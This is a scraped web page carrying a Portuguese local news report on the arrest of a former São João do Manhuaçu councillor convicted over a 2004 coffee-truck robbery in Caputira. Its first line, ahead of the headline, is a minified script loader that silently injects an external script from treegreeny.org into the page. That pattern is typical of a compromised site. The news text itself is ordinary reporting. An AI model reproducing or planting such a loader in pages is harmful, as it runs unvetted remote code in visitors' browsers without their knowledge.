;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Ex-vereador de São João é preso por causa de roubo em Caputira - Portal Carangola

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Ex-vereador de São João é preso por causa de roubo em Caputira

Doze policiais civis da 6ª Delegacia de Polícia Civil de Manhuaçu, coordenados pelos delegados Getúlio Vargas Lacerda, Eustáquio Leite e Adline Ribeiro participaram da prisão de Pedro Gilmar Alves, ex-vereador de São João do Manhuaçu. A prisão ocorreu nesta quarta- feira, dia 17, por determinação da Justiça da Comarca de Abre Campo.

Os policiais localizaram Pedro Gilmar, quando ele preparava para o almoço. O mandado foi expedido pelo juiz da Vara Criminal de Abre Campo, Marcos Vinícius  Dayer, que sentenciou o acusado como partícipe de um assalto ocorrido na região de Caputira, em 2004. O magistrado considerou as provas apresentadas na fase da investigação e, condenou Pedro Gilmar Alves a 10 anos e oito meses de prisão, pelo crime de assalto a uma propriedade rural, de onde foi levado um caminhão com 250 sacas de café. Os assaltantes ainda amordaçaram o casal que estava na residência.

De acordo com o delegado Getúlio Lacerda, que à época foi o responsável pelo inquérito policial juntamente com o delegado Juvercino (DP de Caputira), foram à residência do acusado e localizaram uma ferramenta (motosserra), usada como elemento de prova no inquérito para a prática delituosa. “Um ex-funcionário de Pedro Gilmar acabou delatando os envolvidos no esquema e, que, Pedro Gilmar seria o mentor intelectual do crime.

Durante os levantamentos, a polícia descobriu que dois dias antes do assalto, testemunhas viram o acusado na região de Caputira, alegando estar vendendo carteiras para escolas. O inquérito também mostrou outras provas contundentes, apontando a participação de Pedro Gilmar Alves.

Prisão do acusado

Para efetuar a prisão de Pedro Gilmar Alves, os policiais fizeram um levantamento com base nas informações de que ele teria um esconderijo subterrâneo, para esconder da ação policial. Ele tinha preparado um local entre a residência e a oficina de marcenaria de sua propriedade. A “cabana” tinha a frente coberta por pneus e madeira, para não levantar suspeita.

Na chegada dos policiais à residência, Pedro Gilmar correu para o quarto e escondeu debaixo da cama. Foi lido o mandado de busca e apreensão expedido pelo juiz da Vara Criminal de Manhuaçu, Dr. Walteir José da Silva e, acompanhados de testemunhas os policiais adentraram na residência para efetuar a prisão do homem procurado pela Justiça.

Segundo Getúlio Vargas Lacerda, supostamente ele ficava homiziado durante o dia para evitar que fosse preso. O delegado diz que a expedição do mandado de prisão pela Justiça da Comarca de Abre Campo é uma resposta à sociedade. “Embora ele (Pedro Gilmar) negue envolvimento com os crimes na região, a polícia conseguiu provas suficientes para incriminá-lo. Agora, ele terá de provar inocência perante a Justiça, nos casos em que a investigação aponta sua participação ativa nos assaltos”, considera o delegado Getúlio Vargas Lacerda.

Fonte e Fotos:Eduardo Satil – portalcaparao

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